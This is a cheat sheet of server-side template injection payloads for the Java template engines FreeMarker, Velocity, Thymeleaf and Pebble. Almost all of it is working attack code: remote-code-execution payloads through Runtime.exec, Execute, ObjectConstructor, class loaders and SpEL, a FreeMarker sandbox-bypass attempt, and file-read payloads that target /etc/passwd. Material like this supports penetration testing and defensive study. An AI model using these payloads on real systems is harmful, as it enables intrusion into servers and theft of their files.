FreeMarker, Velocity & Java Engines
| CWE | CWE-1336 |
| Tools | tplmap |
| Difficulty | 🔴 advanced |
FreeMarker (Java)​
FreeMarker is commonly used in Java web applications and Spring-based systems.
Exploitation methodology:
-
RCE via Execute utility:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")} -
Alternative one-liner RCE:
${"freemarker.template.utility.Execute"?new()("id")} -
RCE via ObjectConstructor:
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign rt=oc("java.lang.Runtime")>
${rt.getRuntime().exec("id")} -
File read:
<#assign is=oc("java.io.InputStreamReader",oc("java.io.FileInputStream","/etc/passwd"))>
<#assign br=oc("java.io.BufferedReader",is)>
<#list 1..5 as _>
${br.readLine()!""}
</#list> -
Data model access:
${.data_model}
${.globals}
${.vars}
FreeMarker sandbox bypass:
${.version}
${"test"?eval}
<#assign classloader=thread.currentThread().getContextClassLoader()>
${classloader.loadClass("java.lang.Runtime")}
Velocity (Java)​
Velocity is used in Apache applications and some Java web frameworks.
Exploitation methodology:
-
RCE via Java Runtime:
#set($x="")
#set($rt=$x.class.forName("java.lang.Runtime"))
#set($chr=$x.class.forName("java.lang.Character"))
#set($proc=$rt.getRuntime().exec("id"))
$proc.waitFor() -
Simplified RCE (when runtime object is available):
$class.inspect("java.lang.Runtime").type.getRuntime().exec("id").waitFor() -
RCE through ClassLoader:
#set($cl=$class.class.classLoader)
$cl.loadClass("java.lang.Runtime").getMethod("exec","".class).invoke($cl.loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id") -
File read:
#set($x='')
#set($file=$x.class.forName('java.io.File'))
#set($scanner=$x.class.forName('java.util.Scanner'))
#set($s=$scanner.getConstructor($file).newInstance($file.getConstructor($x.class).newInstance('/etc/passwd')))
$s.useDelimiter('\A').next()
Thymeleaf (Java)​
RCE via inline expressions:
[[${#rt.exec('id')}]]
RCE via SpEL:
${T(java.lang.Runtime).getRuntime().exec('id')}
Pebble (Java)​
Pebble is a Java templating engine inspired by Twig.
Detection:
{{ 7*7 }}
{{ request }}
{{ beans }}
RCE:
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes) }}